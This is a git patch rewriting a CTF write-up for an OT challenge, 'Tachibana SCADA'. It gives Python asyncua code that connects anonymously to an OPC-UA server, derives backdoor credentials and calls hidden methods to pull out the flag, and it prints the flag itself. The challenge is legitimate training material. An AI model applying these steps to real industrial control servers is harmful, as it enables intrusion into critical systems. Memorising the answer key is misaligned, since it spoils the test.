From 9a56e942fc7241fb73d27c559ac4b66e907d7267 Mon Sep 17 00:00:00 2001 From: Eun0us Date: Thu, 26 Mar 2026 17:33:49 +0000 Subject: [PATCH] write-up: OT/Tachibana_SCADA/README.md --- OT/Tachibana_SCADA/README.md | 179 +++++++++++++++++++++++++---------- 1 file changed, 131 insertions(+), 48 deletions(-) diff --git a/OT/Tachibana_SCADA/README.md b/OT/Tachibana_SCADA/README.md index 1841d67..86da7b7 100644 --- a/OT/Tachibana_SCADA/README.md +++ b/OT/Tachibana_SCADA/README.md @@ -1,76 +1,159 @@ -# Tachibana SCADA -- Solution +# Tachibana SCADA -## Overview -OPC-UA server simulating Tachibana General Laboratories' SCADA system. -The server allows anonymous connections (SecurityPolicy None) and contains -a hidden namespace with Eiri Masami's backdoor methods. +| Field | Value | +|-------|-------| +| Category | OT | +| Difficulty | Medium-Hard | +| Points | 500 | +| Author | Eun0us | +| CTF | Espilon 2026 | -## Steps +--- -### 1. Connect Anonymously -Connect to `opc.tcp://HOST:4840/tachibana/` without credentials. -The server accepts anonymous connections -- a common OT misconfiguration. +## Description + +After the KIDS incident, forensic investigators found an OPC-UA server still running on +the isolated SCADA segment at Tachibana General Laboratories. + +The server allows anonymous connections. Beneath the standard industrial data, there is a +hidden namespace registered by Eiri Masami before his termination. + +Browse the address space. Find the hidden namespace. There is a method that was never meant +to be called. + +- OPC-UA Binary: `tcp/:4840` + +Format: **ESPILON{flag}** + +--- + +## TL;DR + +Connect anonymously to the OPC-UA server. Read the namespace array to find the hidden +`urn:tachibana:eiri:kids` namespace. Browse it to find `Backdoor/Authenticate` and +`Backdoor/ExtractResearchData` methods. Derive credentials from the namespace URI +(username=`eiri`, key_hash=`SHA256("KIDS")[:16]`). Call Authenticate, then call +ExtractResearchData with `project_id=7` to get the flag. + +--- + +## Tools + +| Tool | Purpose | +|------|---------| +| Python 3 + `asyncua` | OPC-UA async client | +| Python 3 + `hashlib` | SHA-256 key hash derivation | + +--- + +## Solution + +### Step 1 — Connect anonymously ```python +import asyncio from asyncua import Client -client = Client("opc.tcp://HOST:4840/tachibana/") -await client.connect() + +async def exploit(): + async with Client("opc.tcp://:4840/tachibana/") as c: + # Step 2: discover namespaces + ns_array = await c.get_namespace_array() + print(ns_array) ``` -### 2. Discover Namespaces -Read the `Server.NamespaceArray` to discover all registered namespaces: -- `ns=0`: OPC-UA standard -- `ns=1`: Server internal -- `ns=2`: `urn:tachibana:scada` (public SCADA data) -- `ns=3`: `urn:tachibana:eiri:kids` (hidden!) +``` +['http://opcfoundation.org/UA/', + 'urn:tachibana:scada', ← public SCADA data + 'urn:tachibana:eiri:kids'] ← HIDDEN namespace +``` + +> 📸 `[screenshot: NamespaceArray showing the hidden eiri:kids namespace at index 3]` + +### Step 2 — Browse the public namespace (ns=2) + +Standard SCADA data: power distribution, cooling systems, Wired Interface Array. +Note `Resonance_Hz = 7.83` — a Schumann resonance breadcrumb. + +### Step 3 — Browse the hidden namespace (ns=3) ```python -ns_array = await client.get_namespace_array() +async with Client("opc.tcp://:4840/tachibana/") as c: + ns = await c.get_namespace_index("urn:tachibana:eiri:kids") + root = c.nodes.root + + eiri = await root.get_child([f"0:Objects", f"{ns}:EiriMasami"]) + kids = await eiri.get_child(f"{ns}:KIDS_Project") + bkdr = await eiri.get_child(f"{ns}:Backdoor") + + # Variables inside KIDS_Project + subject_count = await (await kids.get_child(f"{ns}:SubjectCount")).get_value() + protocol7_version = await (await kids.get_child(f"{ns}:Protocol7_Version")).get_value() + # Protocol7_Version = "7.0.0-alpha" → project_id = 7 + + # Methods inside Backdoor + auth_method = await bkdr.get_child(f"{ns}:Authenticate") + extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData") ``` -### 3. Browse Public Namespace (ns=2) -Standard SCADA data: power distribution, cooling systems, Wired Interface Array. -Note `Resonance_Hz = 7.83` (Schumann resonance breadcrumb). +> 📸 `[screenshot: browse output showing EiriMasami folder with KIDS_Project and Backdoor subfolders]` -### 4. Browse Hidden Namespace (ns=3) -Navigate to `EiriMasami` folder: -- `KIDS_Project/` contains variables: `SubjectCount=0`, `Protocol7_Version="7.0.0-alpha"`, `Activation_Key="????????"` -- `Backdoor/` contains two methods: `Authenticate` and `ExtractResearchData` +### Step 4 — Read method argument descriptions -### 5. Analyze Method Signatures -Read the `InputArguments` property of each method: -- `Authenticate(username: String, key_hash: ByteString) -> session_token: String` -- `ExtractResearchData(session_token: String, project_id: UInt32) -> data: String` +`Authenticate(username: String, key_hash: ByteString) -> session_token: String` -The `key_hash` description says: "16-byte truncated SHA-256 of the project name" +The `key_hash` InputArguments description says: +*"16-byte truncated SHA-256 of the project name"* -### 6. Derive Credentials -- **username**: `eiri` (from namespace URI `urn:tachibana:eiri:kids`) -- **key_hash**: `SHA256("KIDS")[:16]` (KIDS = project name from the namespace) +### Step 5 — Derive credentials + +- **username**: `eiri` — from the namespace URI `urn:tachibana:eiri:kids` +- **key_hash**: SHA-256 of the project name, truncated to 16 bytes ```python import hashlib + +# Project name = "KIDS" — from the namespace path urn:tachibana:eiri:kids key_hash = hashlib.sha256(b"KIDS").digest()[:16] ``` -### 7. Authenticate -Call the `Authenticate` method with the derived credentials. -Returns a hex session token valid for 5 minutes. +> 📸 `[screenshot: key_hash computation in Python REPL]` -### 8. Extract Protocol Seven -Call `ExtractResearchData` with the session token and `project_id=7` -(from `Protocol7_Version = "7.0.0-alpha"` -- project number 7). +### Step 6 — Authenticate -Returns the flag. +```python +async with Client("opc.tcp://:4840/tachibana/") as c: + ns = await c.get_namespace_index("urn:tachibana:eiri:kids") + bkdr = await c.nodes.root.get_child( + [f"0:Objects", f"{ns}:EiriMasami", f"{ns}:Backdoor"]) -## Key Insights -- The namespace URI `urn:tachibana:eiri:kids` directly contains the username ("eiri") and hash source ("kids") -- `Protocol7_Version = "7.0.0-alpha"` hints that `project_id = 7` -- Anonymous OPC-UA access is a real-world ICS misconfiguration -- Method argument descriptions provide hints about the expected input format + auth_method = await bkdr.get_child(f"{ns}:Authenticate") + result = await c.nodes.root.call_method( + auth_method, "eiri", key_hash) + session_token = result[0] + print(f"Token: {session_token}") +``` + +### Step 7 — Extract Protocol Seven (project_id=7) + +```python + extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData") + data = await c.nodes.root.call_method( + extract_method, session_token, 7) + print(data[0]) # ESPILON{31r1_k1ds_pr0t0c0l_s3v3n} +``` + +> 📸 `[screenshot: ExtractResearchData method call returning the flag]` + +### Key insights + +- Namespace URI `urn:tachibana:eiri:kids` directly embeds both the username (`eiri`) + and the hash source (`kids`) +- `Protocol7_Version = "7.0.0-alpha"` encodes `project_id = 7` +- Anonymous OPC-UA access is a real-world ICS misconfiguration — no authentication required +- Method argument `description` properties provide all hints needed + +--- ## Flag -`ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}` -## Author -Eun0us +`ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}`